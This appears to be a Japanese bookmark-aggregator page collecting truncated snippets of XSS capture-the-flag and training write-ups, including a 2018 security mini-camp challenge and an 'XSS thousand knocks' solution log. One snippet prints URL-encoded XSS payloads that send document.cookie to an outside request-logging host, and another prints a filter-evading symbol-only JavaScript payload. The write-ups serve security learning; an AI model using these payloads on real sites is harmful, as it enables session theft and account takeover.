XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io
はじめに Writeup Case 01: Simple XSS 1 解答 Case 02: Simple XSS 2 解答 Case 03: With htmlspecialchars() 解答 Case 04-1: Without any backquotes and HTML tags 解答 Case 04-2: Without any backquotes, HTML tags and [ux] 解答 Case 05: Without any alphabets 解答 Case 06-1: Without any paretheses 解答 Case 06-2: Without any parentheses and [oO][nN] 解答 Case 06-3: Without any paretheses and .[oO].[nN].* 解答 Case 06-4: Withou
XSS Challenge (by y0n3uchy)
Introduction これは セキュリティ・ミニキャンプ in 岡山 2018 で演習コンテンツとして使用された, *初学者向け* の XSS Challenge です。 alert('XSS') と alert(document.domain) の 2 つを, 各ページで実行してください。ただし document.domain == xss.shift-js.info となるようにしましょう。特段の指示がない限り, 多くの問題では, ユーザー操作を必要とするもの(e.g. onclick)でも構いません。 CTF と違い, 特に alert が生じても FLAG が表示されたりしませんが, alert('XSS') と alert(document.domain) が正しく実行されると, "You win! :-)" とだけ表示されます。alert を出して楽しみましょう。また pu
katagaitaiCTF勉強会 xss千本ノック writeup - 眠気
楽しかったです 全部解けるようがんばります…がんばりたい… 2 やるだけ q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E 3 やるだけ q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E 4 textareaを閉じる q=</textarea><script>location.href='https://requestb.in/x0u1ovx0?f3='%20%2B%20document.cookie</script> 5 autofocus q=%22%
盆栽XSSのために書いたコードを供養する #seccon - 仙豆のレシピ
得意でもないjsを一生懸命書いたけど点数にならなかったので供養したいと思います。つまりwriteupではない。 問題 stage1~4 記号はブラックリストに入らないことに気づいたので、はせがわさんの記事を参考に記号だけでalertを出した。 ";$=+[];$={___:$++,__$:$++,_$_:$++,_$$:$++,$__:$++,$_$:$++,$$_:$++,$$$:$++};($.___)[({}+"")[$.$_$]+({}+"")[$.__$]+({}.$+"")[$.__$]+(!{}+"")[$._$$]+(!!{}+"")[$.___]+(!!{}+"")[$.__$]+({}.$+"")[$.___]+({}+"")[$.$_$]+(!!{}+"")[$.___]+({}+"")[$.__$]+(!!{}+"")[$.__$]][({}+"")[$.$_$]+
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
CTFtime.org / Meepwn CTF Quals 2018 / Grandline / Writeup
A talk about XSS thousand knocks(Shibuya.XSS techtalk#10)
https://knock.xss.moe/index
